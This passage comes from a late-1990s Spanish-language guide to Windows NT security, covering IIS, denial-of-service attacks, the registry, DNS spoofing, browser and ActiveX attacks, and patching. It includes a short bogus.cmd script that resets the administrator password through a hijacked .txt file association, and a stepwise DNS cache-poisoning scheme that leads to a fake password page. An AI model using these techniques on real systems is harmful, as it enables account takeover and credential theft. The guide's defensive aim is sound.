un ejemplo de Active Server Pages que viene con el IIS. Se encuentra
en
http://www.host.com/adworks/default.htm. Se cauto.. el directorio www
tiene
permisos de lectura y ejecucion, por lo que es conveniente eliminarlo
del
servidor.
La
pagina de administracion para el Index Server situada en :
http://www.host.com/srchadm/admin.htm
permite
forzar escaneos, mezclas... cualquier cosa; es mas, nos da una vista
total
de todos los directorios virtuyales, pudiendo buscar ficheros con
extension
.pwd (es decir, los passwords encriptados de los controladores de
Front
Page (como hace Ogre [15]), que aunque parezca mentira, son los mismos
que
usan muchas personas como passwords para sus cuentas personales, de
correo,
de acceso a Internet... Por lo tanto, ADMINISTRADORES, proteged con
passwords
estas paginas.
6.4.
Conclusion a los ataques IIS
Para
mantener a salvo un sitio Web, se debe cambiar la configuracion por
defecto
de la instalacion... y pasar una checklist para asegurarse al menos
de
que no se ha dejado ningun agujero conocido sin tapar.
7.
Ataques tipo D.o.S. (Denial of Service, Denegacion de Servicio)
Los
ataques tipo D.o.S. consisten simplemente en dejar fuera de servicio
cualquier
servicio ofrecido por un servidor o estacion de trabajo, ocasionando
a
veces como efecto lateral, el cuelgue de la maquina, normalmente con un
volcado
de memoria (donde entra en juego la aplicacion Dr. Watson del sistema)
y/o
una pantalla azul (BSOD Blue Screen of Death) comunmente conocida como
'la
pantalla de los pitufos'. Este es un tema controvertido, dado que algunas
personas
piensan que un ataque D.o.S. no es una tecnica de hacking, o lo
tratan
como algo sin importancia. Sin embargo, es un tema a tener muy en
cuenta
en Windows NT pues, la gran mayoria de los ataques son de tipo D.o.S.
Existen
algunas razones por las cuales, este tipo de ataques pueden ser
utiles
a un hacker:
@
El hacker ha instalado un troyano, pero necesita que la victima reinicie
la
maquina para que surta efecto.
@
El hacker necesita cubrir inmediatamente sus acciones o un uso abusivo de
CPU.
Para ello provoca un 'crash' del sistema, generando asi la sensacion de
que
ha sido algo pasajero y raro. Desgraciadamente, aun no sorprende en la
familia
Windows un cuelgue del sistema.
@
El hacker no es tal, sino un personaje sin experiencia que apenas sabe lo
que
hace.
@
El hacker cree que actua bien al dejar fuera de servicio algun sitio Web
que
le disgusta.
@
El administrador del sistema quiere comprobar que sus instalaciones no son
vulnerables
a este tipo de ataques.
@
El administrador del sistema tiene un proceso que no puede matar en su
servidor
y, debido a este, no puede acceder al sistema. Para ello, lanza
contra
si mismo un ataque D.o.S. parando asi el servicio y pudiendo entrar a
reconfigurar.
7.1.
Ataque OOB
Este
tipo de ataque es bastante simple, a la vez que accesible, dado el gran
numero
de programas que explotan esta debilidad en la implementacion TCP/IP de
Microsoft.
Basicamente, consiste en enviar un mensaje out-of-band a ciertos
puertos
de un sistema NT y este se colgara. Tipicamente se usa el puerto 139.
Este
tipo de ataque, tambien conocido como WinNuke se evita instalando el
Service
Pack 3 y el Hot Fix adecuado, pero han surgido varias variantes que
aun
son capaces de colgar un sistema NT. El codigo fuente de esta aplicacion
esta
muy difundido y cualquier busqueda en la Red con la palabra "winnuke"
dara
la direccion de muchas paginas que lo contienen.
7.2.
Ataques Teardrop I, II, Newtear, Bonk, Boink.
Este
tipo de ataques consisten en mandar un par de fragmentos IP manipulados
maliciosamente,
que al ser reensamblados en la maquina victima como un
datagrama
UDP invalido, provocan que esta pase a un estado inestable. En este
estado,
un sistema NT puede colgarse o reiniciarse. Generalmente aparece la
pantalla
BSOD.
Este
tipo de ataques es especialmente peligroso dado que existen multitud de
implementaciones
conocidas con el nombre de NewTear, Bonk y Boink que explotan
esta
debilidad. Ademas, a comienzos de Marzo del 98, salio a la luz un paquete
que
integraba todas ellas y las lanzaba de forma automatica contra un gran
numero
de hosts que el usuario podia especificar.
La
solucion para protegerse de este tipo de ataques en Windows 95 y NT es
instalar
el parche apropiado que Microsoft suministra. Este parche, al igual
que
mas informacion sobre esta vulnerabilidad, pueden encontrarse en el
'Microsoft
Market Bulletin' titulado "New Teardrop-like TCP/IP Denial of
Service
Program" en la siguiente direccion:
http://www.microsoft.com/security/newtear2.htm
7.3.
Land Attack.
Este
ataque, desarrollado por "m3lt" <[email protected]>, consiste
en un
nuevo
bug en la implementacion de la pila TCP/IP de las plataformas Windows.
El
ataque consiste en mandar a algun puerto abierto de un servidor
(generalmente
al 113 o al 139), un paquete maliciosamente construido, con el
bit
SYN a 1, y con la direccion y puerto origen IGUAL que la direccion y
puerto
destino (ejm.: 10.0.0.1:139 a 10.0.0.1:139). Resultado: la maquina
comenzara
a mandarse mensajes a si misma y acabara por colgarse.
El
mensaje fue mandado a la lista BugTraq con el codigo fuente incluido (cosa
normal
en esta lista, por otro lado).
7.4.
Ataque Smurf.
Este
ataque es bastante simple y a su vez devastador. Consiste en recolectar
una
serie de direcciones de broadcast para a continuacion mandar una peticion
de
echo ICMP a cada una de ellas en serie, varias veces, falsificando la
direccion
IP de origen. Este paquete maliciosamente manipulado, sera repetido
en
broadcast, y cientos o miles de hosts (segun la lista de direcciones de
broadcast
disponible) mandaran una respuesta de echo a la victima cuya
direccion
IP figura en el paquete ICMP. Los resultados son devastadores,
pudiendo
saturar facilmente un circuito T1. El programa se distribuye en
fuente
en r00tshell, junto con gran parte de los programas citados en este
documento.
8.
El vulnerable Registro de Windows NT.
8.1.
¨Que es el registro?
El
Registro es el corazon de Windows NT. Cada NT Workstation o NT Server tiene
su
propio Registro y cada uno contiene informacion sobre el hard y el soft
instalado
en el ordenador. Por ejemplo las caracteristicas de la tarjeta de
Red
Ethernet, las propiedades del escritorio, los perfiles de los usuarios, el
fichero
de passwords, cadenas que indican la fecha de caducidad en los
programas
shareware, propiedades y caracteristicas internas del sistema
operativo...
etc.
Se
sabe, por ejemplo, que en lo unico que se diferencias Windows NT WS y NT
Server
es unas diez claves del registro, pudiendo pasar de uno a otro
modificando
dichas claves, infringiendo por otro lado el acuerdo de compra con
Microsoft
al hacerlo. Tambien se guarda en el Registro todo lo que un usuario
puedeo
o no puede hacer. El Registro de NT se puede ver como una evolucion de
los
ficheros INI de Windows 3.1. hasta llegar a lo que es: una gran base de
datos
con abundante informacion delicada.
Es
interesante desde el punto de vista de la seguridad el hecho de que todo el
control
de acceso y parametros relacionados esten localizados en el Registro.
Haremos
una peque¤a introduccion general al mismo, enfocando el tema a los
aspectos
de seguridad.
El
Registro contiene cientos de piezas de datos, agrupados en lo que se conoce
como
claves. Estas claves estan agrupadas en subarboles, donde se almacenan las
claves
similares de forma conjunta a la vez que copias de algunas de ellas en
subarboles
separados para un mejor acceso.
El
Registro se puede dividir en cuatro subarboles: HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,
HKEY_LOCAL_MACHINE y HKEY_USERS. Los explicaremos en orden
decreciente
de importancia desde el punto de vista de la seguridad.
El
primer subarbol es el HKEY_LOCAL_MACHINE. Contien 5 claves diferentes:
SAM y SECURITY - Estas claves contienen informacion como los derechos de
usuarios,
informacion de dominio para usuarios y grupos, y passwords. Este es un
punto
de ataque evidente para los hackers.
Las
claves estan almacenadas como datos binarios por razones de seguridad y
generalmente
no son accesibles a menos que seas el Administrador o formes
parte
del grupo de Administradores.
HARDWARE
- esta es la base de datos donde se guardan datos sobre los
componentes
hardware del ordenador. Los drivers y las aplicaciones construyen
esta
BD cuando arranca el ordenador y la actualizan en tiempo de ejecucion.
Cuando
se reinicia el ordenador, los datos se vuelven a construir desde cero. No
es
recomendable editar este trozo del Registro.
SYSTEM - Esta clave contiene aspectos basicos como pueden ser que es lo
que
se carga al arrancar el sistema, que drivers han sido cargados, que
servicios
se estan usando, etc. Todos ellos se agrupan en subclaves ControlSet.
Cuando
el ordenador no puede arrancar correctamente, lee los ControlSet que
necesite,
almacenados en el Registro y arranca desde la "Ultima configuracion
correcta".
SOFTWARE - Esta clave guarda informacion sobre el software cargado
localmente.
Las asociaciones entre extensiones de ficheros y sus programas
visores,
informacion OLE y otras configuraciones variadas son lo que almacena
esta
clave.
La
segunda clave mas importante es HKEY_USERS. Contiene una subclave por cada
usuario
que accede al sistema, bien sea de forma local o remota. Si el
servidor
forma parte de un dominio y se conecta a traves de la red, su
subclave
no se guarda aqui sino en el Controlador de Dominio. Lo que si se
guarda
aqui son las propiedades del Escritorio y los perfiles de usuario.
Las
2 claves restantes son HKEY_CURRENT_USER y HKEY_CLASSES_ROOT, que
contienen
copias de porciones de las claves HKEY_USERS y HKEY_LOCAL_MACHINE
respectivamente.
HKEY_CURRENT_USER contiene exactamente lo que su propio
nombre
indica: una copia de la subclave HKEY_USERS del usuario actualmente
conectado.
HKEY_CLASSES_ROOT
contiene una parte de HKEY_LOCAL_MACHINE, concretamente
informacion
de la subclave SOFTWARE. Asociaciones de ficheros con sus
programas,
configuraciones OLE e informacion de dependencias.
8.2.
¨Que son los 'hives'?
Los
hives son otro tipo de subdivisiones del Registro. Contienen informacion
relacionada.
Esto no lo digo yo, lo dice Microsoft.
Todos
los hives estan almacenados en D:\WINNT\SYSTEM32\CONFIG. Los hives mas
destacados
y sus ficheros son:
Hive
Fichero Fichero Backup
---------------------------
-------- --------------
HKEY_LOCAL_MACHINE\SOFTWARE
SOFTWARE SOFTWARE.LOG
HKEY_LOCAL_MACHINE\SECURITY
SECURITY SECURITY.LOG
HKEY_LOCAL_MACHINE\SYSTEM
SYSTEM SYSTEM.LOG
HKEY_LOCAL_MACHINE\SAM
SAM SAM.LOG
HKEY_CURRENT_USER
USERxxx USERxxx.LOG
ADMINxxx ADMINxxx.LOG
HKEY_USERS\.DEFAULT
DEFAULT DEFAULT.LOG
La
informacion de los passwords se encuentra en el fichero SAM. Como
alternativa
los hackers suelen buscar el fichero SAM.LOG. No suelen estar
disponibles.
8.3.
Los fallos del registro.
Cualquier
hacker puede hacerse due¤o de un sistema NT con solo una subclave
del
registro mal configurada. Aunque se pretende tener todo bien organizado,
la
gestion del Registro de NT puede ser una tarea de titanes. Existen
numerosos
fallos de seguridad relacionados con el Registro y realizar una
auditoria
de ciertas claves del mismo nunca vendra mal. Mientras tanto,
mantente
alerta a alguno de los siguientes puntos relacionados con la
seguridad
y el Registro de Windows NT.
8.4.
Acceso remoto al registro.
Es
posible que el sistema NT se haya instalado con permisos de escritura a
Todos
en demasiadas partes del Registro. Para averiguar que claves estan
pobremente
protegidas podemos usar la herramienta DumpAcl de Somarsoft.
Aunque
esto era un problema en NT 3.51 (la mala configuracion de los permisos)
debido
a la posibilidad de acceso remoto al registro que nos brinda la
utilidad
regedt32.exe, en especial si encima esta habilitada la cuenta de
usuario
invitado. NT 4.0 resolvio este problema introduciendo la siguiente
clave
del registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
Esta
clave se presenta por defecto en NT 4.0 server, pero no en las NT 4.0
Workstations,
por lo que habra que a¤adirla. La presencia de esta clave
deshabilita
el acceso remoto al registro excepto a los administradores.
Para
ver lo que podria pasar si nos olvidamos de proteger correctamente el
registro,
valgan dos sencillos ejemplos.
\
Un usuario remoto con perversas intenciones y un registro mal configurado
nos
podria llevar a ataques tipo D.o.S. periodicos por parte del intruso,
dificiles
de localizar por el administrador, provocando continuas
reinstalaciones
del sistema, como consecuencia de la imposibilidad por parte
del
administrador de encontrar el origen de los ataques.
\
Crear troyanos y modificar apuntadores del registro a los programas
originales
para que apunten a los troyanos, los cuales podrian intentar crear
cuentas
de administrador (si es el administrador el que ejecuta el troyano ,
sin
saberlo , este ataque seria posible).
\
Bajo NT 3.51 se puede explotar la posibilidad de escribir en cierta clave
del
registro, concretamente en aquella que asocia extensiones de ficheros con
sus
respectivas aplicaciones. Es posible que pueda cambiarse ademas por un
usuario
remoto con acceso al registro via regedt32.exe. La entrada .txt de
dicha
clave podria cambiarse de la siguiente manera para que ejecute
bogus.cmd:
\\cierta_WS_de_NT_o_Unix\Disco_compartido_sin_clave\bogus.cmd
donde
bogus.cmd contiene:
net
user administrador xxxxx /y
notepad
%1 %2 %3 %4 %5
si
el administrador cuando se conecte, pincha dos veces en un archivo con
extension
.txt, su password cambiara a xxxxx. Aunque este es un ejemplo un
poco
burdo dado que el administrador deberia darse cuenta de que aparece una
pantalla
de linea de comandos antes de abrirse el Notepad.exe. De todas
formas
es trivial realizar una aplicacion para Win32 de tal manera que los
efectos
sean mas destructivos. Asi que ojo con los permisos del Registro de
NT.
Los
administradores deberian saber por otro lado, que modificar el Registro de
forma
incorrecta podria llevar a la imposibilidad de volver a arrancar el
ordenador
(recuerda, el Registro es el corazon de NT), por lo que recomiendo
realizar
un disco de recuperacion de emergencia con RDISK.EXE /antes de
realizar
ningun cambio al registro.Tambien podrias usar la herramienta
ConfigSafe
para "tomar fotos" del estado del Registro antes de realizar
ningun
cambio. Esta herramienta tambien es util cuando se quiere recuperar el
estado
del Registro anterior a la instalacion del algun programa que lo
modifico.
9.
Spoofing (un ataque comun a otros sistemas).
9.1.
Introduccion. IP Spoofing & DNS Spoofing.
[Traduccion,
arreglos y explicaciones basadas en el capitulo 11.1.3. de The
Modern
Hacker Desktop Reference, del grupo Rhino9 [15 ], basado a su vez en
un
capitulo de "Windows NT Hacking FAQ" [25] ]
Spoofing
viene a traducirse como "hacerse pasar por otro". Es un ataque
contra
la autentificacion. Este tipo de ataques suele implicar un buen
conocimiento
del protocolo en el que se va a basar el ataque. Dos ataques
tipo
spoofing bastante conocidos son el IP Spoofing y el DNS Spoofing. El
primero
de ellos se hizo famoso al usarlo Kevin Mitnick en su ataque en
Diciembre
de 1995 a la red informatica de Tsutomu Shimomura, un especialista
en
seguridad que trabajaba en el Centro de Supercomputacion de San Diego.
En
principio parece que Windows NT no es sensible a este ataque en concreto,
pero
si lo es al ataque DNS Spoofing.
9.2.
El ataque DNS Spoofing.
Mediante
la manipulacion de paquetes UDP, se puede comprometer la cache del
servidor
de nombres (DNS) de NT. Si se permite el metodo de recursion en la
resolucion
de "nombre < - - > direccion IP" en el DNS, es posible controlar
algunos
aspectos del DNS remoto. La recursion consiste en la capacidad de un
servidor
de nombres para resolver una peticion de direccion IP a partir de un
nombre
que no figura en su base de datos. Este es el metodo tipico de
funcionamiento.
Pero,
pongamos un ejemplo para conocer como es posible lanzar este tipo de
ataque:
Supongamos
que somos el root de ns.nmrc.org, IP 10.10.10.1. tambien tenemos
el
servidor pirate.nmrc.org con la direccion 10.10.10.2. y el servidor
bait.nmrc.org
con la direccion 10.10.10.3. Supongamos que lo que queremos
conseguir
es que los usuarios de lame.com accedan a nuestro servidor
pirate.nmrc.org
cuando intenten acceder a www.lamer.net.
Bien,
supondremos que tenemos una herramienta que implementa los siguientes
pasos:
-
mandamos una peticion a ns.lame.com preguntando por la direccion de
bait.nmrc.org.
-
ns.lame.com no encuentra la direccion en su base de datos y pregunta a
ns.nmrc.org
por bait.nmrc.org.
-
la peticion es ahora interceptada en ns.nmrc.org y extraemos el ID del
paquete
de peticion .
-
mandamos una peticion a ns.lame.com preguntando por la direccion de
www.lamer.net.
-
dado que conocemos el numero de ID de la peticion anterior, hay muchas
probabilidades
de que el ID de la nueva peticion sea si no el siguiente, un
numero
muy cercano.
-
ahora es cuando viene realmente el ataque: construimos unos cuantos paquetes
DNS
de respuesta con diferentes numeros de identificacion ID. Estos paquetes
de
respuesta estan manipulados en el campo origen, haciendose pasar por
ns.lamer.net
y afirmando que la direccion que corresponde al ID de esa
peticion
es 10.10.10.2. ( en otras palabras, acabamos de mandar un paquete de
respuesta
a la pregunta "¨cual es la direccion IP de www.lamer.net?" que
ns.lame.com
mando a otro DNS (seguramente ns.lamer.net), haciendonos pasar
por
este ultimo y afirmando que la respuesta es 10.10.10.2.) Si nuestros
calculos
de ID han sido correctos, la cache del DNS de ns.lame.com tendra
ahora
una entrada mas o menos asi:
www.lamer.net
--------> 10.10.10.2
lo
que realmente corresponde a la direccion IP de pirate.nmrc.org.
Lo
que resta por hacer ahora es sencillo: copiar el aspecto de www.lamer.net
(paginas
html, graficos, applets Java, musiquilla de fondo,...) en
pirate.nmrc.org
para lo que nos podemos valer de excelentes programas de
"copiado"
web como Teleport Pro y poner un nuevo apuntador a una pagina que
diga
"Novedad!!!. Tenemos una nueva pagina de cambio de password gratuita,
por
si quieres cambiar el password de tu cuenta ftp de www.lamer.net.". Si
no
se quiere o no se puede traer una copia del servidor, se pueden traer solo
las
paginas que solicite el usuario, a medida que este vaya pinchando en los
enlaces.
Aunque
se haya repetido cientos de veces para que esto no ocurra, aun hoy es
muy
posible que la cuenta de password en www.lamer.net que tenga el usuario
victima,
sea la misma que use para otras cosas....
Es
posible usar este tipo de ataque para otros fines, como informar a la
victima
que www.lamer.net ha dejado de funcionar, redirigir su correo una vez
analizado,
etc...
10.
Otros ataques via Web.
Aunque
no son especificos de Windows NT, los problemas de seguridad que
implican
los navegadores Web y sus tecnologias asociadas (ActiveX, JavaScript,
...)
son un serio problema para cualquier administrador de sistemas NT. Por
lo
tanto, comentaremos aqui los aspectos mas importantes relacionados con la
seguridad.
10.1.
Ataques por JavaScript, VBScript
JavaScript
(Netscape) y VBScript (Microsoft) son dos lenguajes de script
usados
por los programadores Web para realizar sofisticadas paginas Web con
un
lenguaje menos "complicado"que Java. Los programas realizados con
estos
dos
lenguajes son interpretados en el navegador. Como siempre, Internet
Explorer
y Netscape Navigator presentan incompatibilidades. Netscape no acepta
VBScript
y Explorer no acepta la ultima version de JavaScript. Las ultimas
versiones
de ambos lenguajes son potentisimas herramientas de programacion
web
y, por lo tanto, llevan asociados fallos de seguridad inherentes, aunque
estos
fallos son mucho mas numerosos en versiones antiguas de JavaScript,
donde
podemos encontrarnos con fallos como los siguientes:
(extraido
y modificado de "Penguin Cafe"
www.geocities.com/SiliconValley/Peaks/6371/oculto.html
)
#
Cuando aparecio JavaScript, este permitia el envio de mensajes de correo
electronico
sin el reconocimiento del usuario, la lectura de la historia URL,
la
lectura de directorios y de ficheros. Lo que fue razon mas que suficiente
para
que cientos de intrusos informaticos se aprovecharan de estas
debilidades.
#
El problema mas importante aparecio en Netscape 2.0 y fue conocido como
"stuck
on load". Lo que sucedia es que se podia crear una ventana de 1x1
pixeles,
por la cual los intrusos podian seguir extrayendo informacion sin
que
el usuario se enterase y aun cuando este hubiese salido de la pagina, ya
que
esta ventana (era un simple punto) era imperceptible para el usuario.
Evolucion
cronologica de la correccion de errores:
Problema
a solucionar.
Version
en la que se soluciona.
Lectura
de directorios y ficheros
2.01
Lectura
de historico URL
2.02
Correo
electronico sin reconocimiento de usuario
2.01
"stuck
on load"
3.0
Para
mas informacion, consultar la direccion especializada en los fallos de
seguridad
en JavaScript de LoVerso[31]
10.2.
Ataques por vulnerabilidades en los navegadores.
Generalmente
los navegadores no fallan por fallos intrinsecos, sino que fallan
las
tecnologias que implementan, aunque en este punto analizaremos realmente
fallos
intrinsecos de los navegadores, como pueden ser los "Buffer Overflow".
Para
una detallada informacion de este tipo de vulnerabilidades referirse a
[34]
pero indicaremos aqui a groso modo el fallo de seguridad mas importante
y
frecuente, especialmente en Internet Explorer debido a su alto grado de
funcionalidad
en los protocolos soportados mediante direccionamiento URL:
Los
"buffer overflows" consisten en explotar una debilidad relacionada
con los
buffers
que la aplicacion usa para almacenar las entradas de usuario. Por
ejemplo,
cuando el usuario escribe una direccion en formato URL como puede
ser
http://www.cert.org esta se guarda en un buffer para luego procesarla. Si
no
se realizan las oportunas operaciones de comprobacion, un usuario con
perversas
intenciones, podria intentar mandar una direccion de este estilo:
http://www.aaaaaaaaaaaaaaaa.com
donde el numero de a's supera los 200
caracteres
y en lugar de a's se pueden introducir combinaciones de letras,
etc.
Ademas, el protocolo usado ha sido http, osea el protocolo www, pero
IE
permite usar otro tipo de protocolos internos menos conocidos como res: o
mk:
. Precisamente existen dos fallos de seguridad del tipo "buffer overflow"
en
la implementacion de estos dos protocolos.
El
primero de ellos, el bug de res:// no afecta a NT, "solo" a Windows
95,
sin
embargo, es posible usarl el bug del mk: para ejecutar cualquier
programa
en Windows NT a partir de un link en una pagina Web! Concretamente,
este
fallo se materializa al manipular una direccion URL usando el protocolo
mk:,
protocolo usado por el "InfoViewer Topic" de Microsoft, por ejemplo
en
Visual
Studio y el sistema de ayuda del IE4.0(1). Como prueba de la utilidad
de
mk: , podemos probar la URL del sistema de ayuda de Microsoft IE4.0:
mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm
Para
poder lanzar este tipo de ataques hay que tener un buen conocimiento de
ensamblador
y de la estructura interna de la memoria en NT. Si se quiere
profundizar
mas en estos dos ataques podemos consultar la excelente base de
datos
de L0pht [17] o de Security BugWare [12] y si lo que se busca es
entender
a la perfeccion este tipo de ataques, es aconsejable leerse el
TAO
of Windows Buffer Overflow [34].
Tambien
podemos citar en este documento el fallo de seguridad descubierto por
Cybersnot
Industries http://www.cybersnot.com/iebug.html, relativo a los
ficheros
.lnk y .url de Windows 95 y NT respectivamente. Las versiones de
Microsoft
Internet Explorer v3.01 y anteriores podian ser utilizadas para
ejecutar
la aplicacion que nosotros quisieramos siempre que existiera en el
ordenador
de la victima (trivial, pues algunas aplicaciones vienen por defecto,
como
el format.com).
Bien,
ahora una peque¤a explicacion tecnica. Windows 95 guarda los accesos
directos
a aplicaciones como ficheros con extension .LNK; cuando pinchamos en
algun
fichero de este estilo, Win95 ejecuta el programa que dicho LNK
describa.
Los ficheros URL son algo parecido, excepto que el fichero URL
tiene
una semantica y una sintaxis ligeramente diferentes de los del LNK, y
en
que los URL se pasan al Internet Explorer para su ejecucion en lugar de
ejecutarse
por Windows95 directamente. Evidentemente se puede indicar que la
aplicacion
que queremos ejecutar sea file://format.com o cualquier otra
aplicacion
local.
El
problema surge cuando IE trata los LNK y los URL bajados de la red como si
fueran
locales; asi, es posible poner un link a un fichero LNK o URL en
nuestras
paginas web de tal manera que apunten a un programa que sabemos que
existe
en el ordenador de la victima que se conecte. Cuando lo haga y pinche
sobre
el, la aplicacion se ejecutara sin mas (como ya he dicho esto solo
funciona
en versiones del IE3.01 y anteriores y solo en aquellos que no hayan
instalado
los parches de Microsoft.
Para
mas informacion relacionada con los ataques intrinsecos a los
navegadores,
aparte de consultar los punteros indicados , se aconsejan las
paginas
no oficiales de seguridad tanto en Internet Explorer[29] como en
Netscape
Communicator[32].
10.3.
Ataques por Java.
Java
es un lenguaje de programacion interpretado desarrollado inicialmente
por
SUN. Su popularidad es tal que no merece mayor descripcion en este
documento.
Lo que si comentaremos por encima es su alto grado de seguridad.
Los
mas usados navegadores actuales, Netscape e IE, implementan Maquinas
Virtuales
Java (MVJ)para ser capaces de ejecutar applets Java descargados de
Internet.
Estos applets, al fin y al cabo no son mas que codigo ejecutable y
como
tal, susceptible de ser manipulado por intrusos con aviesas intenciones.
Sin
embargo, partiendo del dise¤o, Java siempre ha pensado en la seguridad
del
sistema. Las restricciones a las que somete a los applets son de tal
envergadura
(imposibilidad de trabajar con ficheros a no ser que se
especifique
lo contrario por parte del usuario, imposibilidad de los applets
de
acceder a zonas de memoria directamente, firma digital,...) que es
practicamente
imposible lanzar ataques distintos de los ataques de tipo D.o.S.
(Denial
Of Service) contra plataformas JAVA. Sin embargo, existe un grupo de
expertos
liderados por dos profesores de la Universidad de Princeton,
especializados
en descubir fallas de seguridad en las implementaciones que de
la
MVJ hacen los distintos navegadores (Netscape, IE, HotJava (navegador de
SUN)).
Su direccion es accesible desde [41]. En un numero reciente de la
revista
Developer.com http://www.developer.com/news/stories/042498_hostile.html,
el
Dr. Mark D. LaDue, explicaba los ultimos fallos de seguridad encontrados
(todos
ellos relacionados con ataques tipo D.o.S.) en la implementacion de la
MVJ
en Netscape Communicator 4.04 y 4.05:
Las
potenciales amenazas iban desde un applet que volcaba continuamente bytes
en
el sistema de ficheros hasta bloquear la maquina al dejarla sin recursos
de
disco, hasta un applet que creaba subclases de la clase Applet ClassLoader,
algo
supuestamente prohibido por las especificaciones Java y que permite a
los
applets establecer conexiones con cualquier servidor y descargar applets
maliciosos
desde el para luego ejecutarlos.
LaDue
consiguio crear estos applets estudiando varios descompiladores de Java.
Para
probar las habilidades de los mismos, intento descompilar las 1669
ficheros
de clases de Netscape Communicator 4.04. Al hacerlo, no pudo resistir
la
tentacion de estudiar el codigo resultante en busca de posibles agujeros
de
seguridad para construir applets hostiles.
Todos
estos applets hostiles y muchos mas, al igual que abundante y buena
informacion
sobre la seguridad en Java, se pueden encontrar en HAHP [30].
10.4.
Ataques por ActiveX.
ActiveX
es una de las tecnologias mas potentes que ha desarrollado Microsoft.
Mediante
ActiveX es posible reutilizar codigo, descargar codigo totalmente
funcional
de un sitio remoto... Esta tecnologia ha sido considerada la
respuesta
de Microsoft a Java (aunque ahora compita en el mercado con ambas).
Una
pagina Web con un control ActiveX puede ser ejecutada en principio solo
en
Internet Explorer, y digo en principio porque existe un Plug-In para
Netscape
que permite ejecutar controles ActiveX en los navegadores de dicha
compa¤ia.
ActiveX
soluciona los problemas de seguridad mediante certificados y firmas
digitales.
Una Autoridad Certificadora (AC) expende un certificado que
acompa¤ara
a nuestros controles activos y a nuestra firma digital. Cuando un
usuario
descarga una pagina con ese control, se le preguntara si confia en
la
AC que expendio nuestro certificado y/o en nuestro control ActiveX. Si el
usuario
acepta el control, este puede pasar a ejecutarse sin ningun tipo de
restricciones
(solo las propias que tenga el usuario en el sistema NT). Es
decir,
la responsabilidad de la seguridad del sistema se deja en manos del
usuario,
tanto si este es un experto cibernauta consciente de los riesgos
que
puede acarrear la accion como si es el usuario es un perfecto novato en
la
materia.
La
pega de esta filosofia es que las Autoridades de Certificacion se fian de
la
palabra del programador del control activo. Es decir, el programador se
compromete
a firmar un documento que asegura que el control no es nocivo.
Evidentemente
siempre hay hackers expertos en programacion con pocos
escrupulos
o con ganas de experimentar, Un conocido grupo de hackers alemanes,
Computer
Chaos Club (CCC) [36], podria ser un ejemplo. CCC desarrollo un
control
ActiveX maligno que modificaba el programa de gestion bancaria
personal
Quicken95 de tal manera que si un usuario aceptaba el control
(control
que realizaba una tarea util aparte de crackear el Quicken, es decir,
era
un troyano) este realizaba la tarea que supuestamente tenia que hacer y
ademas
modifica el Quicken, para que la proxima vez que la victima se
conectara
a su banco, se iniciara automaticamente una transferencia de su
cuenta
a la cuenta de CCC. Como nota curiosa destacar que CCC cito a la
television
germana dias antes del ataque, para que lo filmara en directo.
Otro
control ActiveX especialmente pernicioso consistia en otro troyano, cuya
mision
oculta era especialmente malevola: manipular el codigo de Internet
Explorer
para que este nunca mas pidiera confirmacion al usuario a la hora
de
descargar un control activo de la Web. Es decir, dejaba totalmente
descubierto
a ataques con tecnologia ActiveX el sistema de la victima.
11.
Medidas de seguridad Service Pack & HotFix.
11.1.
Como parchear el sistema. Service Pack & Hot-Fix.
Microsoft
tiene una base de datos consultable via web, con parches y arreglos
tanto
para el sistema operativo Windows NT como para sus aplicaciones. En la
jerga
de Microsoft, un conjunto de parches o arreglos se denomina Service Pack
(SP).
El Service Pack actual para Windows NT 4.0. es el 3, pero Microsoft
planea
sacar el 4 para este verano (es de suponer que junto la liberacion de
Windows
98). Tambien existen Service Packs (en adelante SP) para aplicaciones
como
el servidor IIS.
Los
SP son acumulativos. Esto significa que el SP3 contiene todo lo que tenia
el
SP2 ademas de los parches nuevos introducidos en el SP3. A menudo, los SP
reemplazan
gran cantidad de codigo, sobre todo las DLL's mas importantes
del
sistema o aplicacion.. Dado que la mayoria de las grandes aplicaciones
(como
los componentes 'backoffice' o los de 'developer studio') traen sus
propias
versiones de bibliotecas DLL "del sistema", los SP deben aplicarse
cada
vez que se realice una actualizacion de dicho sistema, donde estos
terminos
en cursiva no estan definidos claramente. A cualquier accion que
reemplace
cualquier componente actualizado por un SP o un hot-fix debe
seguirle
una nueva instalacion del ultimo SP y todos los hot-fixes. Recuerda
ademas
que, al a¤adir hardware nuevo, a menudo se a¤ade tambien nuevo
software
de control, lo que puede llevarnos a reinstalar el SP y/o hotfix
adecuado.
Los
Hot-Fix, como ya habras adivinado, son parches intermedios desarrollados
entre
dos Service Pack, y estan considerados como "not fully regression
tested",
es decir, que Microsoft no ha comprobado todos los posibles efectos
laterales,
incompatibilidades, etc. Que pudieran producirse con su instalacion
ypor
lo tanto, la empresa de Redmond, no recomienda su instalacion a no ser
que
uno la crea totalmente necesaria. Mi consejo es que todo Hot-Fix que
afecte
a la seguridad del sistema NT, que es nuestra materia de estudio,
deberia
ser instalado automaticamente, sin dudarlo. De hecho, en NTSecurity
[10],
la principal lista de distribucion de seguridad en NT, se discutio
durante
un tiempo el que Microsoft advirtiera indiscriminadamente de que no
se
instalara un hot-fix a no ser que se estuviera totalmente seguro de lo que
se
hacia, pues esto echaba para atras a muchos administradores inexpertos,
exponiendolos
a ataques masivos. Microsoft reconocio su error y se
comprometio
a enmendarlo.
Una
nueva cuestion es la lengua local. Si estas ejecutando una version de NT
que
no sea de los EEUU, no podras aplicar todos los hot-fix disponibles.
Algunos
no dependen del lenguaje, mientras que otros se niegan a instalarse
en
una version extranjera (no de EEUU). Si te lo puedes permitir o te es
posible,
te aconsejo que trabajes con una version de NT de los EEUU al menos
en
alguno de tus servidores. Si lo haces de esta manera, podras instalar el
hot-fix
relacionado con un problema de seguridad inmediatamente, en cuanto
salga,
sin tener que esperar al siguiente SP (los Service Pack se lanzan en
"todos"
los idiomas, aunque tendras que esperar ademas a que se traduzca el
correspondiente
SP a tu idioma). Dentro de lo que cabe, los espa¤oles tenemos
suerte
en este aspecto, pues normalmente salen casi al unisono los hot-fix en
version
estadounidense como en version castellana.
Si
no puedes o no quieres descargar el software de Internet, puedes contactar
con
tu representante Microsoft mas cercano y pedirle el ultimo Service Pack
que
necesites. Habitualmente tambien se distribuye en los CD's de las mejores
revistas
del sector informatico.
Visita
el Web de Microsoft o su servidor FTP en:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes
Personalmente,
recomiendo visitar el excelente site de Russ Cooper [9], donde
literalmente,
